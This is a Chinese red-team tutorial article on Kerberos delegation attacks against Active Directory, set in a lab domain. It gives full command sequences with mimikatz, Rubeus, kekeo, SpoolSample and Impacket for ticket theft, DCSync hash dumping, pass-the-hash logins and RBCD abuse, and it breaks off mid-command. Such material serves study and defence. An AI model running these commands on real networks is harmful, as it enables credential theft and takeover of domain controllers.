问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
红队域渗透技术:委派攻击汇总(全)
漏洞分析
本文综合了目前网络上绝大部分的委派攻击方法,包括非约束性委派、约束性委派和基于资源的约束性委派三种,文中给出了详细的攻击思路、攻击命令和工具下载链接,读者可以自行搭建域环境进行复现测试,第五章中给出委派攻击的防范措施和一种绕过手段。最后,笔者才疏学浅有错误望指出~
0x01 委派前置知识 =========== 委派是什么 ----- 委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动(请求新的服务等) 委派的分类:三种应用方式 ------------ - 非约束委派(Unconstrained Delegation, UD) - 约束委派(Constrained Delegation, CD) - 基于资源的约束委派(Resource Based Constrained Delegation, RBCD) 简而言之,非约束委派是指用户账户将自身的TGT转发给服务账户使用。约束委派通过S4U2Self和S4U2Proxy两个扩展协议限制服务账户只能访问指定服务资源。RBCD主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。 0x02 非约束委派攻击 ============ 概念 -- 自Windows2000开始,微软添加了委派功能。域委派是一种应用模式,指的是将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。简单来介绍就是用户A访问服务B,但是访问过程中需要访问服务C,于是B就使用A提供的TGT委派访问C。 非约束性委派(Unconstrained Delegation):服务账号可以请求得到域内用户的TGT,服务账号使用该TGT模拟域内用户访问任意服务。被配置为非约束委托的系统将把TGT(Ticket Granting Ticket)存储到LSASS内存中,以便使用户能够访问终端资源。非约束委派的设置需要SeEnableDelegation权限,一般为管理员具有此权限。 非约束性委派流程图: 1. 域内用户A经过Kerberos认证后访问WEB服务器 2. WEB服务器以服务账户B向KDC请求用户A的可转发票据TGT 3. KDC检查B的委派属性,下发TGT 4. 服务账户B使用TGT向KDC申请服务票据TGS(访问文件服务器等功能) 5. KDC检查委派属性和申请的服务,下发TGS 6. 服务账户使用TGS访问其他服务 ![O7z8Zn.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-5152f4be4b641c7d2d6ea5fe5d68a7b2ad1614aa.png) 一些注意点: 1. 域控机器账户默认配置非约束性委派 环境介绍 ---- ```txt 域名: redteam.lab 域控: 操作系统: Windows Server 2016 主机名: DC2016 IP: 10.10.2.20 域内主机: 操作系统: Windows 10 主机名: WIN10-1 IP: 10.10.2.100 攻击机: 操作系统: kali Liux IP: 10.10.2.77 ``` **注意:** 这里Kali也在内网中,主要是便于技术的展示,在实际情况中需要搭建代理,可以使用frp、chisel等代理工具,再使用proxychains进行代理的连接! 侦查方法:ADFind ----------- ```shell # ADFind查询非约束委派普通账户 AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn # ADFind查询非约束机器账户 AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn ``` ![OLXSHA.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-0c00c9c016b29d9476d1141b3008c7c445139ef3.png) 侦查方法:PowerView -------------- ```shell # PowerView查询非约束委派的机器账户 powershell-import PowerView.ps1 powershell Get-NetComputer –unconstrained | select dnshostname, samaccountname ``` ![O7zfQe.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-d0d74bbcdea0258c7a039fbc587a1cf2f50a436c.png) 攻击思路1:构造服务账户票据 -------------- 利用条件: 1. 服务账户设置了非约束性委派 2. 已知服务账户的密码口令信息 这里已知mssqlsrv服务账户密码123.com,并且ken设置了非约束性委派 使用[kekeo](https://github.com/gentilkiwi/kekeo)工具进行操作: ```shell # 构造服务账户ken的票据 kekeo.exe "tgt::ask /user:mssqlsrv /domain:redteam.lab /password:123.com /ticket:mssqlsrv.kirbi" "exit" # 利用刚才伪造的ken票据,向域服务器申请CIFS服务票据 kekeo.exe "Tgs::s4u /tgt:TGT_mssqlsrv@REDTEAM.LAB_krbtgt~redteam.lab@REDTEAM.LAB.kirbi /user:administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit" # 使用mimikatz将该票据注入当前的会话中, mimikatz.exe "kerberos::ptt TGS_administrator@redteam.lab@REDTEAM.LAB_mssqlsrv@REDTEAM.LAB.kirbi" "exit" # 访问目标共享盘 dir \\DC2016\C$ ``` 攻击思路2:诱使域管理员访问机器 ---------------- > 偏理想化,不实用 当域管理员使用net use等远程访问命令,模拟域控管理员访问WIN7主机,设置了非约束性委派的主机可以抓取到域控管理员的TGT。 利用条件: 1. 需要Administrator权限 2. 域内主机的机器账户开启非约束委派 3. 域控管理员远程访问 假设域控管理员执行: ```shell # 域控用户访问域内主机 net use \\WIN10-1.redteam.lab ``` 导出票据,执行攻击 ```shell # 域内主机导出票据 mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" # 查看票据 mimikatz.exe "kerberos::list" # 清空票据,可以使用绝对路径 kerberos::purge [ticket] ``` ![O7zhsH.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-90f6d80a394966d58d2b80dfeede64538cf0c83c.png) ```shell # 导入内存 mimikatz.exe "kerberos::ptt [0;cfd6c]-2-0-60a10000-Administrator@krbtgt-REDTEAM.LAB.kirbi" "exit" # 访问目标盘 dir \\DC2016.redteam.lab\c$ ``` ![O7zRzD.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-51a217b56a9addd3892a13ee41a2a32694ce5a15.png) 攻击思路3:结合打印机漏洞 ------------- 强迫运行打印服务(Print Spooler)的主机向目标主机发起 Kerberos 或 NTLM 认证请求。 利用条件: 1. 需要Administrator权限 利用过程: 使用[Rubeus](https://github.com/GhostPack/Rubeus)工具监听 ```shell # 查询打印服务是否开启|域控上查看 sc query spooler # 使用Rubeus监听来自域控的票据 Rubeus.exe monitor /interval:2 /filteruser:DC2016$ ``` ![O7z2RO.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-984bfe5dc14e77d37bdbcd9d40b74db4b1ea89f3.png) 使用[SpoolSample](https://github.com/leechristensen/SpoolSample)工具执行打印机漏洞利用,进行强制验证 ```shell # 强制回连,获得域控机器账户的TGT SpoolSample.exe DC2016 WIN10-1 ``` ![O7zgJK.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-1d2ae389391487132d61f6c956f71fd8ac583ece.png) Rubeus监听到票据并导入该票据 ```shell # rubeus导入票据 Rubeus.exe ptt /ticket:doIFGjCCBRagAwIBBaEDAgEWooIEIzCCBB9hggQbMIIEF6ADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtSRURURUFNLkxBQqOCA90wggPZoAMCARKhAwIBAqKCA8sEggPHdOzGGhqNLMiflfgJCrXq6OzfDy1u+wHM8mdH8IpkVEbl+TX5liKAPQ/i4nIewzu9yq8kO9tEZYRhARky6B2Bw4RWD6tx9nytF24Q6AhvpzIfxAK2zJ1fLX5AtH9yyqbVVdd+ryoR8PjUCl09IdyfdmTfMW45olQhHVMG1l2Oz9agg8tUANOFT9HjbxrDJjgCvFMEJ7hJ3s1dsYORZfvXk31J4fn3VRLHj/5N9XpQQ5n8T24p8KGmvfK/SdPDU4im/Jud5syF60l1sMH/UUr4UYaHSAFM3ui1sgaeO45MdPq7hAVVRaBX8WjogadUTeRghh47nH4aAsbAqxmmCNkTKkYSAPdc8fKIAFQNSONpEsBnaCrLo+QoD/x+VIkNHbPYA7Zt3kb/neoH65zP5PTm95pAjmnx7P56/UdwgxkVTd7KHsj4VQ/7BsHx8GfpXKcmev08KSGvMvXM6+zr9XbrnLne6bnabNTUHuqfh6+4qImMlig6RMmeSpJa0hFAzJdhzkZGO9LLL2OZSOME2ngSvffCunaNqdIGEbev8i5kVMhwg4upv9tClWW+h0mEJWeZ332WF2LKI2VEKjQePAbkM3UUmr+1vUXKEcKPEqQ58fQH2+Nr4naONswOTVb1CLdXB7/SdfCcYU26Pgm7vQnl2uNb6LhlpPYAXGoaofUjRV0d3JIR+2oXSt5ia5auCyhU6/nKXPP1KBCiQzjRACSOyeRivxTaxVZExbtLNi932psyMOKCb6qE/JHyhve5Iu/nBp78RcfjoTrNaqUCO/ZxA2AUlUEpcmoU+Vmm+fQEb828EZtKFoyxKPBKtbK/jLsgk8qEoy5JwIEmMIeIP0D95vc+Rzp5A/WSiN0yn9RXqd8On/UBjOW7O42uKhrVJrJ5ClOu+HdHN2WkejBkslnBJYSaL+A69eA5qb+yAJhJqmlSFupfGhQhzm/YNDdcifKU+47R3WF3n9OvSqQgLush9/hkGPgwVLp1Wj6LQHzofIujVRDOybAeNt+lATwzQGVHpeUOWy/iXV/UxTPGT3VBiPpIm1E813QKw8eWTxLm5YeQJrk0Uyj/qalqqo5gskI0fY7Sq60pMA9t1TA6nrdmcQzesKWAcf6QmEmQorTcPw4znaM5QSKAGwRQRGGt57RADimgrs/R2K3Rqa3C/ePlSgaPJN3jS5AGHF9j1/MJE0Eb8ZwPXTI0P77NCDWthqK7wFzcyKkrpNjodMf/KFs96wkVqWBJ0Xy5qza9rFy/r79WZtICfxLfbdF8KGrS5LCCIYKMVhPq56OB4jCB36ADAgEAooHXBIHUfYHRMIHOoIHLMIHIMIHFoCswKaADAgESoSIEIP6GQ/T97TyQDQUyz2ZnOBxcZEcgQ0iexOoMgGUOzdNUoQ0bC1JFRFRFQU0uTEFCohQwEqADAgEBoQswCRsHREMyMDE2JKMHAwUAYKEAAKURGA8yMDIyMDUxODA3NDcxMFqmERgPMjAyMjA1MTgxNzQ3MTBapxEYDzIwMjIwNTI1MDc0NzEwWqgNGwtSRURURUFNLkxBQqkgMB6gAwIBAqEXMBUbBmtyYnRndBsLUkVEVEVBTS5MQUI= ``` ![O7zIeA.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-6c6f4feb8d3f8efc334febf06c5da241d4869e13.png) 使用[mimikatz](https://github.com/gentilkiwi/mimikatz)导出Hash ```shell # mimikatz导出域内用户Hash mimikatz.exe "lsadump::dcsync /domain:redteam.lab /user:REDTEAM\Administrator" "exit" ``` ![O7z4Ld.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-71f046e4e43b3814e7233f861967713624b14d44.png) 使用[wmiexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py)远程登录: ```shell python3 wmiexec.py -hashes :83a140d89e42046e8daf5394d386a69a redteam.lab/administrator@DC2016.redteam.lab -no-pass ``` ![OHSGOH.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-e344eea0a9ed3a66cfb3189e2ff0a3cb2ef6927a.png) 0x03 约束性委派攻击 ============ 概念 -- Widnows Server 2003 之后微软引入了非约束委派。同时,为了顺利进行约束性委派,微软于2007年为 Kerberos 协议的 TGS\_REQ 和 TGS\_REP 阶段引入了两个扩展协议`S4u2self(Service for User to Self)`和`S4U2proxy(Service for User to Proxy)`。 约束委派有两种 1. 仅使用Kerberos,不能进行协议转换 2. 使用任何身份验证协议 S4u2self & S4U2proxy ------------------------ `S4U2self`协议允许服务代表任意用户请求访问自身服务的ST服务票据 `S4U2proxy`协议允许服务在已取得ST服务票据下代表任意用户获取另一个服务的服务票据 约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问**特定**的其他服务。 配置了约束性委派的账户属性会有如下两个变化: 1. 账户`userAccountControl`属性会被设置为`TRUSTED_TO_AUTH_FOR_DELEGATION`标志位,值为`16781312` 2. 账户的`msDS-AllowedToDelegateTo`属性,添加允许委派的服务 环境介绍 ---- ```txt 域名: redteam.lab 域控: 操作系统: Windows Server 2016 主机名: DC2016 IP: 10.10.2.20 域内主机: 操作系统: Windows 10 主机名: WIN10-1 IP: 10.10.2.100 攻击机: 操作系统: kali Liux IP: 10.10.2.77 ``` **注意:** 这里Kali也在内网中,主要是便于技术的展示,在实际情况中需要搭建代理,可以收用frp、chisel等攻击,再使用proxychains进行代理的连接! 侦查方法:ADFind ----------- ```shell # AdFind.exe查询约束委派机器账户 AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto # AdFind.exe查询约束委派服务账户 AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto ``` ![OHS86e.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-b1ebc5325100a1f7528b09c57ca086c7bfeb9176.png) 侦查方法:PowerView -------------- ```shell # 导入 powershell-import PowerView.ps1 # PowerView查询约束委派机器账户 powershell Get-DomainComputer -TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize # PowerView查询约束委派服务账户 powershell Get-DomainUser –TrustedToAuth -domain redteam.lab -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl ``` ![OHS3lD.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-c8bfedb105bfb901797ac8721090c177e4d3b7f9.png) 攻击思路1:使用机器账户的票据 | kekeo ----------------------- 约束性委派攻击的关键就是**获得可转发的服务票据ST** 获取根据约束性委派的执行过程可知,只要**控制配置约束性委派服务的机器,并获得了它的密码**,那么我们就可以劫持这台主机的kerberos请求过程,最终获得任意用户权限的ticket 利用条件: 1. 需要Administrator权限 2. 目标机器账户配置了约束性委派 使用[mimikatz](https://github.com/gentilkiwi/mimikatz)工具导出`lsass.exe`进程中所有的票据,得到想要的服务票据 ```shell # 导出票据 mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit" ``` ![OHSQfK.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-74154d9f099d634217ac41cc85352f6b9f738ec0.png) 使用kekeo工具申请服务票据(S4U2Proxy协议) ```shell # 申请服务票据 kekeo.exe "tgs::s4u /tgt:[0;3e7]-2-1-40e10000-WIN10-1$@krbtgt-REDTEAM.LAB.kirbi /user:Administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit" ``` ![OHS1SO.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-324675e59adb84a87daf687ac63fec088601ae6e.png) ```shell # 导入票据 mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.lab@REDTEAM.LAB_cifs~DC2016.redteam.lab@REDTEAM.LAB.kirbi" "exit" # 访问 dir \\DC2016.redteam.lab\c$ ``` ![OHSYmd.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-97bb11a204c6cdc49d16edbb1bd244ade7444ca0.png) 攻击思路2.1:使用机器账户的Hash值 | Rubeus ----------------------------- 与思路一类似,但是这里使用的是Hash值 利用条件: 1. 需要Administrator权限 2. 目标机器账户配置了约束性委派 使用mimikatz获取NTLM Hash值 ```shell # 使用mimikatz获取机器账户NTLM Hash mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" 8f91f8786d308e62c609688886dc7c4c ``` ![OHS51U.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-4ac7089f169b19502f918a4a0cc2a65ded5c95c6.png) 使用[Rubeus](https://github.com/GhostPack/Rubeus)申请访问自身的可转发服务票据 ```shell # 使用Rubeus申请配置了约束委派机器账户WIN10-1$的TGT Rubeus.exe asktgt /user:WIN10-1$ /rc4:8f91f8786d308e62c609688886dc7c4c /domain:redteam.lab /dc:DC2016.redteam.lab /nowrap ``` ![OHS4pT.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-f370840ba2411853e8bd6eb702946a65cdde983a.png) ```shell # 使用Rubeus通过S4U2Self协议代表域管理员Administrator请求针对域控LDAP服务的票据,并注入内存 Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC2016.redteam.lab /dc:DC2016.redteam.lab /ptt /ticket:doIE7DCCBOigAwIBBaEDAgEWooIEBDCCBABhggP8MIID+KADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYqOCA74wggO6oAMCARKhAwIBAqKCA6wEggOoM8VAe67r80K7kucYIn8+7OGwBh7K0P3+J3PvGUYPVlz2+WFR9jNWhQ8SiK0Qwa0uUaZhH6RxZO0GXrW13YcRxuomfopTCDZCq0J5LlAyr+sYq4C+VDR+1n/W8/hMP4rqsdZqfVK7z8jmUhFbB1TGRu7MKuxexQ0Kmr2ae6sH8RmuFEAJHwjS3LXZqtB6AVf3V04fT5PrLatDiLs8DAVHgD18kJwRsF34qjKsC2jsGWeXZkjNsuQFV31HQN0TtAsMR7vftYHag7jYuzmwAvAvKE8fgtoi8Yf6GcFCvKutA65Tc8oSJDG3nd5LdpAuPRPo/SAJn4ujs9SUTjTXWEXNp69uSrdFZ7hR/8yPiZLw1hPoOm3ZlUTGBuUclxep28tDgaA1alBNsH5iAmza1fGj6FUOUoYvRGpC3B4zqs+o2Bd3dNDaHNFcTCc8O6Dcti1q7bhNnLmQZcTq1rTRI0e0mPvPet+xV/obRc2r1qxzjAq5/BhjFu94B+IaolJXoFVoIvz67nSe/h6459xnUPrgqh2PsnwfeakR4CLqcgAbyEOoQV4MWpOJrDgjoBeZ8lfGTY97vIvA0fAuRdqy5L4JX6b+LQxt5fZdCChfMh+YQl1zQs/UYST6UD9xqRvF7l84YGN0lsQYboMHSoZfj4bE2ii1MmrC/18jI/vwZKBjg5aY8MfpTvsSih/IxeVr9YEAOCCsEFFlq7i/UuWP+hiMaGqldqw2eZHwRmobHaJWLmzgErJXYZcRNz84EuLoDdQTWMWpXV8Glr3c+BwPlFOITpwixL8KDKM8PA0kOFok/ci+zlVY/mf3dA6pXmzDKkT0boTczXsOc7zZx4sc34YysY/sSQvqb2sZAvvW1+v1J4N4t8i+/QN1upuk/npqPwDfUhyi7AeO+fcVpCn4ziaNqfebzdh3F3ZmgdrdViTq6I84QACKwzVHH59rjzN81pLuYqGw49B4g3xWYvo1ZA1lJsGGZFa4JwFw3q1fk6Q3qgTGlO0fn/7VFQjtLmJBe6LwtLkTySQsQvZxAHMc8Euc2jZgLGwyR8ViKRo9BmbhYblChJCOrq/14JP2GTHYgMuVx4iSqEVGjnm9/crfWLgbTaSVJ7UChqGzKquer2RuDqNPpcxMPuj9aHfor5ItRhfdnDyni8IQj5zUv4bEBWoRWwyTGk+8UpeGsMbSpEMjoH7q0tw4xyGkTRD/Bz3CWjW/bLtqcB07W2Et9EKTJQh1lzTGNi4GvNhso4HTMIHQoAMCAQCigcgEgcV9gcIwgb+ggbwwgbkwgbagGzAZoAMCARehEgQQRhdvpI6qSFO1Eo5nYZxvZKENGwtSRURURUFNLkxBQqIVMBOgAwIBAaEMMAobCFdJTjEwLTEkowcDBQBA4QAApREYDzIwMjIwNTE4MDkzNTE1WqYRGA8yMDIyMDUxODE5MzUxNVqnERgPMjAyMjA1MjUwOTM1MTVaqA0bC1JFRFRFQU0uTEFCqSAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYg== # 直接dir dir \\DC2016.redteam.lab\c$ ``` ![OHSoX4.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-66620d310899c8ddf0e998375d96f825528ae495.png) 攻击思路2.2:使用机器账户的Hash值 | getST ---------------------------- 同思路2一致,也是使用机器账户的Hash值,但这里使用Impacket工具套件中的[getST.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/getST.py)脚本请求服务票据,并利用该脚本通过[wmiexec.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py)工具远程登录 利用条件: 1. 需要Administrator权限 2. 目标机器账户配置了约束性委派 ```shell # mimikatz获取机器账户NTLM Hash值 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" # 使用getST申请服务票据 python3 getST.py -dc-ip 10.10.2.20 -spn CIFS/DC2016.redteam.lab -impersonate administrator redteam.lab/WIN10-1$ -hashes :8f91f8786d308e62c609688886dc7c4c # 使用票据远程访问 KRB5CCNAME=administrator.ccache python3 wmiexec.py -k redteam.lab/administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20 ``` ![OHSfhV.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-36980e32bb2dc7c6d2d649826923b712e668fee7.png) 攻击思路2.3:使用机器账户的Hash值 | kekeo ---------------------------- ```shell # 请求票据 kekeo.exe "tgt::ask /user:WIN10-1$ /domain:redteam.lab /NTLM:8f91f8786d308e62c609688886dc7c4c" "exit" # 申请administrator权限的票据 kekeo.exe "tgs::s4u /tgt:TGT_WIN10-1$@REDTEAM.LAB_krbtgt~redteam.lab@REDTEAM.LAB.kirbi /user:Administrator@redteam.lab /service:cifs/DC2016.redteam.lab" "exit" # mimikatz mimikatz.exe "kerberos::ptt TGS_Administrator@redteam.lab@REDTEAM.LAB_cifs~DC2016.redteam.lab@REDTEAM.LAB.kirbi" "exit" # 访问 dir \\DC2016.redteam.lab\c$ ``` ![OHSIcF.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-d15fd5fe0e30f36c282f10f576532edb1e2b5e76.png) 0x04 基于资源的约束性委派攻击 ================= 概念 -- 微软在Windows Server 2012 中新引入基于资源的约束性委派(Resource Based Constrained Delegation, RBCD),RBCD不需要通过具备SeEnableDelegationPrivilege权限的域管理员进行修改,而是将**设置属性的权限给了服务资源本身**。 配置了RBCD的账户属性有如下变化: - msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户 可以将基于资源的约束性委派理解为传统的约束性委派的反向过程。以 Service 1 和 Service 2 两个服务为例,传统的约束性委派需要在 Service 1 上设置 `msDS-AllowedToDelegateTo` 属性,以指定对 Service 2 上的哪一个服务进行委派。而在基于资源的约束性委派中,需要在 Service 2 上将 `msDS-AllowedToActOnBehalfOfOtherIdentity` 属性值设为 Service 1 的 SID,以允许 Service 1 对 Service 2 上的服务进行委派。 此外,在传统的约束性委派中,通过 S4u2self 申请到的 ST 票据一定是可转发的,如果不可转发,则后续的 S4U2Proxy 阶段将失败。但是在基于资源的约束性委派中,不可转发的 ST 票据仍然可以通过 S4U2Proxy 阶段对其他服务进行委派认证。 攻击核心条件 ------ 1. 具有对主机修改`msDS-AllowedToActOnBehalfOfOtherIdentity`属性的权限 2. 可以创建机器账户(或已知机器账户) 那么什么用户具备修改`msDS-AllowedToActOnBehalfOfOtherIdentity`属性的权限呢? 1. 将该主机加入域的用户账户 账户中有一个`mSDS-CreatorSID`属性,用于标记加入域时使用的用户账户SID值,进一步就可以知道一些具有加入域权限的用户账户了! 2. Account Operator组成员 3. 该主机的机器账户 **以上三个分别对应下面的攻击思路123** 而谁可以创建机器账户呢? 对于一般域成员,由`msDS-MachineAccountQuota`属性决定,默认可以创建10个机器账户。 环境介绍 ---- ```txt 域名: redteam.lab 域控制器: 操作系统: Windows Server 2016 主机名: DC2016 IP: 10.10.2.20 域内服务器: 操作系统: Windows Server 2012 主机名: SERVER2012 IP: 10.10.2.50 域内主机1: 操作系统: Windows 10 主机名: WIN10-1 IP: 10.10.2.100 域内主机2: 操作系统: Windows 7 主机名: WIN7-1 IP: 10.10.2.101 攻击机: 操作系统: kali Liux IP: 10.10.2.77 ``` **注意:** 这里Kali也在内网中,主要是便于技术的展示,在实际情况中需要搭建代理,可以收用frp、chisel等攻击,再使用proxychains进行代理的连接! 侦查思路:由机器找到可修改委派权限的用户 -------------------- **核心目标:找到可修改msDS-AllowedToActOnBehalfOfOtherIdentity的用户** 我将这种思路定义为反向查找:已知机器账户,找到使其加入域中的用户账户,这个用户账户就具备修改`msDS-AllowedToActOnBehalfOfOtherIdentity`的权限 ```shell # 使用adfind.exe查找机器账户的mS-DS-CreatorSID属性 AdFind.exe -h 10.10.2.20 -u ken -up 123.com -b "DC=redteam,DC=lab" -f "objectClass=computer" mS-DS-CreatorSID # 使用Powershell反查SID对应的用户 powerpick $objSID = New-Object System.Security.Principal.SecurityIdentifier S-1-5-21-3309395417-4108617856-2168433834-1104;$objUser = $objSID.Translate([System.Security.Principal.NTAccount]);$objUser.Value ``` ![OHpqKg.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-6dc30a379b8a9a390961553ad1823e0ea36af316.png) 侦查思路:由用户查询其加入域中的机器 ------------------ 和上面相反,这里我将其定义为正向查找:已知用户查找到通过该用户加入域中的机器, ```shell # 查用户账户SID whoami /all # 使用PowerView查经由该用户加入域内的机器账户(主机) # 需要具备GeneriCall或WriteProperty等修改权限 powershell-import PowerView.ps1 powerpick Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-3309395417-4108617856-2168433834-1104"} | select objectdn,activedirectoryrights ``` ![OHpvan.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-a5a0b39a9aa9cf0715140109b2423034717ab089.png) 攻击思路1:通过管理主机加入域的用户拿下主机 ---------------------- > 权限提升 | 横向移动 关键:能修改那台服务资源的委派属性,就可以拿下该台主机 利用条件: 1. 允许创建机器账户 2. 具有管理主机加入域的用户账户 ### 1 添加机器账户 ```shell # 使用addcpmputer创建机器账户 python3 addcomputer.py redteam.lab/ken:123.com -method LDAPS -computer-name CPT01\$ -computer-pass Passw0rd -dc-ip 10.10.2.20 # 使用bloodyAD工具创建机器账户 python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT01 'Passw0rd' # 使用PowerMad工具创建机器账户 ``` ![OHpx5q.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-f4d284dbda2c293489f213f680a84d8da8b9ea25.png) ### 2 设置委派属性 使用PowerView工具查询机器账户SID ```shell Get-NetComputer CPT01 -Properties objectsid S-1-5-21-3309395417-4108617856-2168433834-1108 ``` ![OHpHxS.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-ed21e13afb30172f8fea752328afdb890ef3896a.png) 修改服务资源的委派属性,即`msDS-AllowedToActOnBehalfOfOtherIdentity`属性 ```shell # 导入powershell Set-ExecutionPolicy Bypass -Scope Process. .\powerview.ps1 powershell-import PowerView.ps1 powerpick $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1108)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # 查询属性(后一条命令使用到了ActiveDirectory模块,域控默认带) powerpick Get-DomainComputer SERVER2012 -Properties msds-allowedtoactonbehalfofotheridentity ``` ![OHpObj.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-5d3a49afa72c1f740b012e4d3f7e55ea3bdb17b0.png) ```shell # 域控查询命令 Get-ADComputer SERVER2012 -Properties PrincipalsAllowedToDelegateToAccount # 清除属性 Set-DomainObject SERVER2012 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose ``` ### 3-1 申请服务票据 | getST.py 使用getST.py申请票据 ```shell # 使用getST.py申请票据 python3 getST.py redteam.lab/CPT01$:Passw0rd -spn cifs/SERVER2012.redteam.lab -impersonate administrator -dc-ip 10.10.2.20 # 导入票据 export KRB5CCNAME=/root/Desktop/administrator.ccache # 直接登录 python3 wmiexec.py -k redteam.lab/administrator@SERVER2012.redteam.lab -no-pass python3 psexec.py -k redteam.lab/administrator@SERVER2012.redteam.lab -no-pass ``` ![OHpLrQ.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-6081f5a7c9059d449e5dd300d3f5a25f38e80351.png) ### 3-2 申请服务票据 | Rubeus 使用Rubeus申请票据 ```shell # 通过Rubeus申请机器账户CPT01$的TGT Rubeus.exe asktgt /user:CPT01$ /password:Passw0rd /domain:redteam.lab /dc:DC2016.redteam.lab /nowrap # 使用S4U2Self协议申请TGS并且使用S4U2Proxy协议请求cifs服务票据ST,注入内存中 Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/SERVER2012.redteam.lab /dc:DC2016.redteam.lab /nowrap /ptt /ticket:doIE2DCCBNSgAwIBBaEDAgEWooID8jCCA+5hggPqMIID5qADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYqOCA6wwggOooAMCARKhAwIBAqKCA5oEggOWx0emir2j0Me0AEZiGIF6iCN9gm6S9/VwFmYy8F9s5+FFyHDmSWjfLJotWqg/BXyB94ueiRrMXRkOYhKxLfUaJ4OJyGLxTv/oHQ9eM5EBe1QG1h5IufgR6T0Z23wknxOQA/JOP32HIoroCn84tHHlWrDx8JVu2bCKqfR3pqmnQCZXfb/3ydfNeqdf3hlF917Py5cMWKtDWBiMUx9HdtGto3d65JDaZTvetV5inE3+Ze+Z+dt/pE7CGtO1CrXjBVKmZTDq6i6oxOlOPcZo30TTIF0DW2jQBH1fZmn4z6o7Wv8uD/SycHV+BXv9Yjv4b0ESAaqZ4zt+zNvcBT0jrGTgrdOmvgKuc3wM0uHvfOOShx+TBrmjYbnrjd1vyTSbq/q4Ugyon+0hsQng5Dxb78QwfukVyTGfKuEqp9ar63kav99xl7EJUyv+TfhJsbYWBRH0ebyVl62eFkDi+cgPFF3isvdNao8Oc6zu+JJzbV3XguPFtmJlBUGYP/IWfxkfRg24tYvo+gaYW3NCuvp/yavpCT9WakKmwhKpXPQlLVZ5dPIuBHfiYY9eCRBD7L5WtXhgRh3ELLhA7UAkB7Q8rB9kle3QIdnHdQMeqBTPvv3k5JC9yybtYOg184w00OR0MCO88697KcvS0mbUN30XRp0CMwKSmKftIPbMvGjflzm5yWypezJ/I7cNwh+NyaFP2WE0kSh0zjR7acFe7NzK6eGMpJCksEuTa1Gp6FpJ1g2g2s3UqWyIyJ